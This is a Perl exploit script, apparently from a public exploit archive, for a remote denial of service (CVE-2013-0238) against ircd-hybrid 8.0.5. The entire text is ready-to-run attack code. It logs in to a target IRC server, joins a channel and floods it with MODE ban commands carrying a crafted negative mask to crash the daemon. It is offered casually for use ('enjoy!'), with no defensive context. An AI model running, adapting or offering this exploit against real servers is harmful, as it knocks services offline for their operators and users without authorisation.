ircd-hybrid 8.0.5 Denial Of Service

`#!/usr/bin/perl  
# ircd-hybrid remote denial of service exploit for CVE-2013-0238  
# quick and dirty h4x by kingcope  
# tested against ircd-hybrid-8.0.5 centos6  
# please modify below in case of buggy code.  
# enjoy!  
  
use Socket;  
  
srand(time());  
$exploiting_nick = "hybExpl" . int(rand(10000));  
  
sub connecttoserver()  
{  
$bool = "yes";  
$iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");  
$paddr = sockaddr_in($ircport, $iaddr);  
$proto = getprotobyname('tcp');  
socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");  
connect(SOCK1, $paddr) || {$bool = "no"};  
}  
  
sub usage() {  
  
print "usage: ircd-hybrid.pl <target> <port>\r\n";  
exit;  
}  
  
$| = 1;  
print "----------------------------------------------------------------------\r\nLets have fun!\r\n";  
print "----------------------------------------------------------------------\r\n";  
  
if (!defined($ARGV[1])) {  
usage();   
}  
  
$ircport = $ARGV[1];  
$ircserver = $ARGV[0];  
  
print "Connecting to $ircserver on port $ircport...\n";  
  
connecttoserver();  
  
if ($bool eq "no")  
{  
print "Connection refused.\r\n";  
exit(0);  
}  
  
send(SOCK1,"NICK $exploiting_nick\r\n",0);  
send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.hax.net\" :$exploiting_nick\r\n",0);  
  
while (<SOCK1>) {   
$line = $_;  
print $line;  
if ((index $line, " 005 ") ne -1) {  
goto logged_in;   
}  
  
if ((index $line, "PING") ne -1) {  
substr($line,1,1,"O");  
send(SOCK1, $line, 0);   
}  
}  
  
logged_in:  
  
print " ok\r\n";   
  
print "Sending buffers...\r\n";  
$channelr = int(rand(10000));  
send(SOCK1, "JOIN #h4xchan$channelr\r\n", 0);  
sleep(1);  
$k = 0;  
do {  
print $_;  
$k++;  
$crashnum = -1000009 - $k * 1000;  
send(SOCK1, "MODE #h4xchan$channelr +b *!*\@127.0.0.1/$crashnum\r\n", 0);  
} while(<SOCK1>);  
  
print "done\r\n";  
  
# EOF  
`